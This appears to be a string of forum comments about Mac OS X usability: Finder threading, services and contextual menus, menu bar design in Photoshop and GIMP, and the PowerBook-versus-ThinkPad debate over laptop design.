What a fantastic name for a program. I wonder who owns the name now and if they would come for you if you used it... Perhaps with Rosie's weight behind the product you wouldn't be bothered.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
My problem is this - I never really had much contact with Finder, not since probably ten years ago. Then it was years of shells, then Explorer...
When you go from Explorer to anything probably you feel a great weight removed, as it's just not useful the way OS X finder is now (yes really).
So from my point of view I think Finder critics could go halfway and realize that despite some flaws it's still pretty good (EXCEPT for the threading issue which does really suck when it happens).
I think if the threading were totally solved I would be very content with the finder just as it is. But I am sure they will add a bit more to it over time and hopefully satisfy most of the critics.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
I do admit it was offtopic , but i couldnt just sit there and let a blatent troll get moded up .Missinformation can be dangerous
The only things certain in war are Propaganda and Death. You can never be sure which is which though
You took the right approach, by laughing at it. Then you gave us information and a link, so that others might become educated. I find no fault in your methods.
Or_f
Intrestingly enough , when i used to do IRC alot i found a grand way of dealing with trolls , I would simply sit there and insult the trolling method , they would ussualy give up and start to flame profanity or spam at which point getting themselves banned
FC
What are NeXT-style services? Are they the functions in the servics menu
Yes.
the services menu seems pretty integrated to me
OS X has two separate mechanisms for prividing context-sensitive extensions to applications... the services menu, and contextual menu plugins. These two mechanisms serve the same purtpose and are only distinct because one comes from the Mac OS 9 world, and one comes from the NeXT world. These two functions should be integrated with each other so that appropriate services appear in the contextual menu, and contextual menu plugins appear in the services menu.
Why would this be a good thing? Because you can get to the services menu by keyboard shortcuts when it's inconvenient to use the mouse, but when you ARE using the mouse contextual menus are more convenient... and because there's a duplication of functionality and a confusion as to whether some capability is in one or the other location.
That wouldn't fix the problem that started this thread, which is the preview pane interrupting the whole finder when divx file is highlighted. If you install the 3ivx codec, that problem goes away.
For actual playback, mplayer is certainly much better.
The attached menu bar just doesn't work for some applications. Photoshop is one, and Photoshop on Windows shows the mess that results.
On windows if you'd like to put a photoshop window on one screen and another photoshop window on another screen, you have to stretch out that damned enclosing window. It covers up everything behind it. If one picture is much taller than the other, that's a lot of wasted space. It also means resizing the bounding box all the time. Insane.
On the other hand, you can't attach a menubar to each picture window. The space taken up would be huge, many pictures wouldn't be wide enough to show the whole menu bar...
The amount of border resizing I have to do for various reasons on Windows photoshop drives me buggy. It's detestable.
All this is why Gimp has a floating menu bar. It just *must* be detached in that kind of app.. The floating menu bar remains pretty awkward, though. Even given what you're saying about muscle memory not working entirely on the Mac bar because it shifts about, at least you know it's flush with the top of the screen. Toss the mouse upward, then start hunting.
Many of the key macintosh apps were of this kind for many years. The documents need as much screen space as they can possibly get, so a bar on each document isn't reasonable. Higher res screens won't help because there's a limit on how small you can make the bar. As long as those apps remain the core of Mac use, the top menu bar is going to stay, even if it isn't the best general purpose computing solution.
I see this debate often, and it's always done badly. Usually goes something like this: ------ Poster 1: *something something* laptop *something something* Poster 2: The PowerBook was the first modern laptop. All laptops today are descended from the PowerBook. Poster 3: No, not the PowerBook, the ThinkPad ------ Firstly, there were lots of okay laptops before the PowerBook, with the standard flip-up screen and keyboard. The PowerBook made a few contributions to modern laptop design: A. Dark gray/black colored case (still very popular, despite the growth in silver-colored cases after the Titanium PowerBook.) B. Integrated pointing device (trackball) as opposed to clip-ons. C. Large palmrests on either side of said pointing device, with the keyboard pushed back toward the screen Fairly minor changes if you ask me, but influential nonetheless. The ThinkPad came out in 1992, a year after the PowerBook, and it had A and B. It didn't get C until about 1996. The ThinkPad added a color screen, which the PowerBook wouldn't offer until a year later. Both were (and are) very fashionable laptops, and both contrubuted elements to the shape and feel of the modern laptop, but neither the PowerBook nor the ThinkPad is the sole source of modern laptop design.